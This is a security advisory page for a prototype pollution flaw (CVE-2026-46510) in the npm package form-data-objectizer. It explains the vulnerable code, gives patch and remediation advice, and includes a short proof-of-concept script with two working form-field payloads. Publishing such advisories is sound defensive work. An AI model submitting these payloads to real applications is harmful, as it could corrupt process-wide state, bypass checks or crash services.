Skip to main content

form-data-objectizer EUVDEUVD-2026-33321

| CVE-2026-46510 HIGH
Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution) (CWE-1321)
2026-05-18 https://github.com/kaspernj/form-data-objectizer GHSA-m2hg-wjq3-28wq
8.2
CVSS 3.1 · Vendor: https://github.com/kaspernj/form-data-objectizer
Share

Severity by source

Vendor (https://github.com/kaspernj/form-data-objectizer) PRIMARY
8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Primary rating from Vendor (https://github.com/kaspernj/form-data-objectizer) · only source for this CVE.

CVSS VectorVendor: https://github.com/kaspernj/form-data-objectizer

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Lifecycle Timeline

2
Source Code Evidence Fetched
May 18, 2026 - 14:00 vuln.today
Analysis Generated
May 18, 2026 - 14:00 vuln.today

DescriptionCVE.org

Summary

form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process.

The bug is in treatInitial and treatSecond inside index.cjs:

js
if (inputName in result) {           // 'in' walks the prototype chain, so '__proto__' matches
  newResult = result[inputName]      // newResult === Object.prototype
}
// ...
result[key] = value                  // sets the property on Object.prototype

With the form key __proto__[polluted] and value yes:

  1. treatInitial matches inputName = "__proto__", rest = "[polluted]".
  2. "__proto__" in result is true (inherited), so newResult = result["__proto__"], which is Object.prototype.
  3. treatSecond recurses with key = "polluted", newRest = "", and assigns Object.prototype.polluted = "yes".

Affected versions

  • form-data-objectizer <= 1.0.0 (currently the only published version)

Patched

Not yet. Suggested fix: reject any segment equal to __proto__, constructor, or prototype before walking into result[inputName] / result[key]. Either throw or skip the entry.

Minimum patch in treatInitial and treatSecond:

js
const REJECT = new Set(['__proto__', 'constructor', 'prototype']);
if (REJECT.has(inputName) || REJECT.has(key)) {
  return; // or throw
}

Using Object.create(null) for the result object would also work since it has no prototype to pollute, but the key === '__proto__' direct write still needs guarding.

Proof of concept

Fresh install on Node 18+:

sh
mkdir pp-fdo && cd pp-fdo
npm init -y
npm install form-data-objectizer@1.0.0
js
// poc.js
const FormDataToObject = require('form-data-objectizer');

const form = new FormData();
form.append('username', 'alice');
form.append('__proto__[polluted]', 'yes');

FormDataToObject.toObject(form);
console.log(({}).polluted); // -> 'yes'

Observed output:

package version: 1.0.0
before pollution: undefined
after pollution:  yes
parsed data:     { username: 'alice' }
confirmed:       YES, prototype polluted

The field name __proto__[polluted] is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits polluted = 'yes'. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.

A second working payload is constructor[prototype][polluted]=yes, which walks result.constructor then .prototype.

Impact

  • Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses form-data-objectizer.toObject() on incoming form data.
  • Persists for the life of the worker process and affects every subsequent request handled by the same process.
  • Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing if (obj.isAdmin) style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).

CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L (8.2, High)

Integrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.

Credit

Reported by Mohamed Bassia (@0xBassia).

AnalysisAI

Prototype pollution in the npm package form-data-objectizer (<= 1.0.0) lets unauthenticated remote attackers mutate Object.prototype by submitting a single HTTP form field whose name uses bracket notation such as __proto__[polluted] or constructor[prototype][polluted]. The defect lives in treatInitial/treatSecond inside index.cjs, where an 'in' check walks the prototype chain and lets the parser write to inherited properties. CVSS is 8.2 (High) with Integrity:High; publicly available exploit code exists (working PoC published in the GHSA advisory), but there is no public exploit identified as being used in attacks and no CISA KEV listing.

Technical ContextAI

form-data-objectizer is a small Node.js helper that converts a FormData object into a nested JavaScript object by parsing bracket-notation keys (e.g. user[address][city]) and recursively walking into sub-objects. The root cause is CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes, a.k.a. Prototype Pollution): the parser uses the JavaScript 'in' operator, which traverses the prototype chain, so the literal key __proto__ resolves to Object.prototype and subsequent assignments mutate that shared prototype. Because every plain object in Node.js inherits from Object.prototype, a single tainted form submission can change the meaning of property lookups across the entire Node.js process. The CPE pkg:npm/form-data-objectizer identifies the affected package, and the commit diff (7c54b99) shows the fix introduces an assertSafeKeySegment guard for __proto__, constructor, and prototype, replaces 'in' with Object.prototype.hasOwnProperty.call (hasOwn), and adds regression tests.

RemediationAI

Vendor-released patch: form-data-objectizer 1.0.1 - upgrade via 'npm install form-data-objectizer@^1.0.1' (or pin >=1.0.1) and redeploy so all worker processes restart, since pollution persists for the process lifetime. The fix commit https://github.com/kaspernj/form-data-objectizer/commit/7c54b99408e6e9cd6533b7245bf197dadc2a2dbc rejects key segments equal to __proto__, constructor, or prototype and switches the membership test to Object.prototype.hasOwnProperty.call; see the GHSA at https://github.com/kaspernj/form-data-objectizer/security/advisories/GHSA-m2hg-wjq3-28wq. If upgrading is not immediately possible, pre-filter incoming form keys at the web/middleware layer to drop or 400-reject any field whose name contains the substrings __proto__, constructor, or prototype before invoking toObject() (trade-off: legitimate fields literally named 'constructor' or 'prototype' will be blocked), or fork the library to apply the published guard locally. Avoid 'merge this with a safe default' style mitigations that still hand attacker-controlled keys to the vulnerable parser.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Share

EUVD-2026-33321 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy